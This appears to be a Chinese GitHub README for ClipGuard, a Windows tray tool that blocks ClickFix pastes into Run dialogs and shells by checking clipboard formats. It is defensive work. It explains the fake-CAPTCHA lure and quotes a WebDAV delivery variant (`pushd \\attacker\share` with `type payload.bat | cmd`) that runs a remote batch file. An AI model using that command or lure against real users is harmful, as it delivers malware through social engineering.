CertainlyP/ClipGuard

GitHub: CertainlyP/ClipGuard

一款针对 Windows 平台 ClickFix 剪贴板注入攻击的实时检测与拦截工具,利用剪贴板格式差异识别 JavaScript 静默写入的恶意命令。

Stars: 4 | Forks: 0

# ClipGuard 针对 Windows 上 ClickFix 剪贴板注入攻击的实时检测工具。 ClipGuard 监控剪贴板活动,并在可疑的粘贴操作执行前将其拦截——专门针对 ClickFix 技术,即通过伪造的验证页面诱骗用户粘贴恶意命令。 ## 问题背景 ClickFix 攻击的运作方式如下: 1. 受害者访问一个显示伪造 CAPTCHA 或验证提示的页面 2. JavaScript 静默地将恶意命令(通常是 PowerShell)复制到剪贴板 3. 页面指示用户按下 Win+R,粘贴 (Ctrl+V),然后按 Enter 4. 用户在不知情的情况下自行执行了 payload——从而绕过了传统的安全控制 核心洞察:当 JavaScript 通过 `navigator.clipboard.writeText()` 写入剪贴板时,剪贴板仅包含 `CF_UNICODETEXT`——当用户手动选择并复制网页上的文本时,浏览器会将 `CF_UNICODETEXT` 和 `CF_HTML` 都放入剪贴板。ClipGuard 利用这种格式差异作为其主要检测信号之一。 ## 工作原理 ClipGuard 在系统托盘中运行,并采用多层检测机制: 1. **剪贴板来源追踪** — 监听 `WM_CLIPBOARDUPDATE` 消息,并记录每次剪贴板更改的源进程、存在的剪贴板格式(`CF_HTML` vs `CF_UNICODETEXT`)、内容长度以及内容预览。 2. **执行面检测** — 识别前台窗口是否为命令执行面:运行对话框 (Win+R)、cmd.exe、powershell.exe、pwsh.exe 或 Windows Terminal。 3. **键盘钩子 (Ctrl+V 拦截)** — 低级键盘钩子 (`WH_KEYBOARD_LL`) 拦截 Ctrl+V 按键。当尝试将来自浏览器的剪贴板内容粘贴到执行面时,ClipGuard 会评估威胁。 4. **基于格式的判定** — 如果剪贴板内容来自浏览器且仅包含文本(无 `CF_HTML`),则将其标记为可疑——这表明很可能是 JavaScript 剪贴板写入,而不是用户发起的复制(无 HTML 指示)。粘贴操作将被阻止,用户会在决定允许或阻止之前看到包含剪贴板内容的警报。 ## 演示 image ## 检测逻辑 ``` Clipboard updated by browser? -- YES: User pastes (Ctrl+V) into execution surface? -- YES: Clipboard has CF_UNICODETEXT only (no CF_HTML)? -- YES: BLOCK — Suspected ClickFix (JS clipboard write) -- NO: Strict Mode on? -- YES: WARN — User copy, but going to exec surface -- NO: ALLOW ``` ## 支持的执行面 - 运行对话框 (Win+R) — 通过窗口类 `#32770` + `explorer.exe` 下的 `ComboBox` 子窗口检测 - cmd.exe — 进程名匹配 - powershell.exe / pwsh.exe — 进程名匹配 - Windows Terminal (wt.exe) — 进程名匹配 ## 监控的浏览器 Edge, Chrome, Firefox, Brave, Opera, Vivaldi, Chromium, Arc ## 安装 前置条件: - Windows 10/11 - .NET 8.0 Runtime (https://dotnet.microsoft.com/download/dotnet/8.0) - 以管理员身份运行(低级键盘钩子需要此权限) 从源码构建: ``` git clone https://github.com/CertainlyP/ClipGuard.git cd ClipGuard dotnet build -c Release ``` 或者从 Releases 页面下载编译好的二进制文件。 ## 使用方法 1. 以管理员身份运行 ClipGuard.exe 2. ClipGuard 会以绿色盾牌图标出现在系统托盘中 3. 右键点击托盘图标查看选项:状态、打开日志、严格模式、退出 当检测到可疑粘贴时,ClipGuard 会显示一个警报,包含剪贴板内容预览、源进程和 PID、剪贴板格式分析,以及阻止或允许粘贴的选项。 日志写入位置:%APPDATA%\ClipGuard\shield.log ## 局限性 - 键盘钩子需要管理员权限 - 不阻止执行——它拦截粘贴操作并警告用户 - 合法网站上的复制按钮(例如 GitHub 代码块)也会使用 JS 剪贴板写入并触发警报——这是设计如此,因为用户在粘贴到终端之前应该进行验证 - 目前不监控 Win+R 后接手动输入的情况(仅 Ctrl+V 粘贴) ## 研究 此工具基于对 ClickFix 攻击机制的原创研究: - 剪贴板格式元数据作为检测信号 — `CF_HTML` 的存在区分了用户复制和 JavaScript `navigator.clipboard.writeText()` 调用 - 基于 WebDAV 的 ClickFix 投递链 — `pushd \\attacker\share` + `type payload.bat | cmd` 变体 - 执行面指纹识别 — 通过窗口类和子控件枚举以编程方式识别运行对话框 ## 许可证 MIT
标签:C++, ClickFix 防护, DNS 反向解析, EDR 工具, JSONLines, OpenCanary, PowerShell 攻击防御, RFI远程文件包含, Win32 API, Windows 安全, 剪贴板监控, 反钓鱼, 实时防护, 底层钩子, 执行面检测, 数据擦除, 滥用防护, 社会工程学防御, 端点可见性, 系统托盘工具, 终端安全, 零信任